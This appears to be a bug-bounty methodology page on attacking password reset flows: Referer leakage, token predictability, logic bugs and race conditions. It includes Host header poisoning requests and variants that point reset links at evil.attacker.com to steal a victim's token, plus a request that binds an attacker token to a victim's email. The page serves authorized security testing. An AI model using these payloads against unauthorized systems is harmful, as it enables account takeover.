Password Reset
Password reset is one of the most consistently rewarded bug classes in bug bounty. The flow involves tokens, emails, redirects, and external domains - that's a lot of surface area for things to go wrong. I come back to this on every target.
Token Leakage via Referer
When a reset link lands on a page that loads third-party resources (analytics, fonts, ads), the full URL - including the token - gets sent as the Referer header to every external domain.
How to test: Trigger a password reset, click the link, and capture outgoing requests in Burp. Look for the reset token appearing in Referer headers on requests to Google Analytics, Segment, Intercom, etc.
GET /track?event=page_view HTTP/1.1
Host: analytics.example.com
Referer: https://target.com/reset?token=eyJhb...SENSITIVE_TOKENThis is consistently P2/P3 depending on the program.
Host Header Poisoning
Classic and still works on a surprising number of targets. The app uses the Host header to construct the reset URL in the email. Poison it to point to your server.
POST /forgot-password HTTP/1.1
Host: evil.attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@target.comIf the app doesn't validate the host, the victim receives an email with a reset link pointing to evil.attacker.com. Token exfiltrated.
Variations to try:
Host: target.com
X-Forwarded-Host: evil.attacker.com
Host: target.com:@evil.attacker.com
Host: evil.attacker.com#target.comBurp's "Host header injection" scan catches some of these but manual testing catches more.
Token Predictability
Weak tokens are rare on modern frameworks but still appear on legacy apps and custom-built reset flows.
- Grab 10+ reset tokens in quick succession from accounts you control
- Look for sequential or time-based patterns
- Check if the token is an MD5/SHA1 of the email address or timestamp:
md5(email + timestamp)is a classic failure - Token length matters - anything under 16 hex chars deserves scrutiny
# Collect tokens, look for patterns
echo "token1: a3f2..."
echo "token2: a3f3..." # incrementing? bad.Reset Flow Logic Bugs
Token reuse - does the token get invalidated after use? Try reusing a consumed token an hour later.
Token not bound to account - generate a reset token for attacker@attacker.com, then modify the email parameter on the reset form submission to victim@target.com. If the app only validates the token and not the account it was issued to - you win.
POST /reset-password HTTP/1.1
Host: target.com
token=ATTACKER_TOKEN&email=victim@target.com&new_password=hacked123No token expiry - tokens that never expire are a lower severity but still valid. Some programs pay for it.
Race condition on reset - send two simultaneous requests to consume the same token. If both succeed, there's a TOCTOU issue. Usually chained with something else.
User enumeration - "Email sent if account exists" is fine. "No account found with that email" is user enumeration. Some programs care, some don't.
Mermaid: Reset Flow with Attack Points
flowchart TD A["POST /forgot-password<br>Host: evil.com"] --> B["App builds reset link<br>from Host header"] B --> C["Email sent with<br>evil.com link"] C --> D["Victim clicks link"] D --> E["Token sent to attacker<br>via DNS/HTTP logs"] E --> F["Attacker resets<br>victim password"]
Checklist
- Referer leakage to third-party scripts on the reset landing page
- Host header manipulation - does the reset email use your injected host?
- Token reuse after consumption
- Token bound to specific account or just valid globally?
- Token entropy - collect 10 tokens and compare
- Token expiry - try a 24h old token
- User enumeration via response differences
Related Pages
- Login Bypass - if reset fails, go back to direct login attacks
- Session Management - what happens to existing sessions when a reset occurs?
- OAuth - SSO-based apps often skip the reset flow entirely; check if there's a legacy one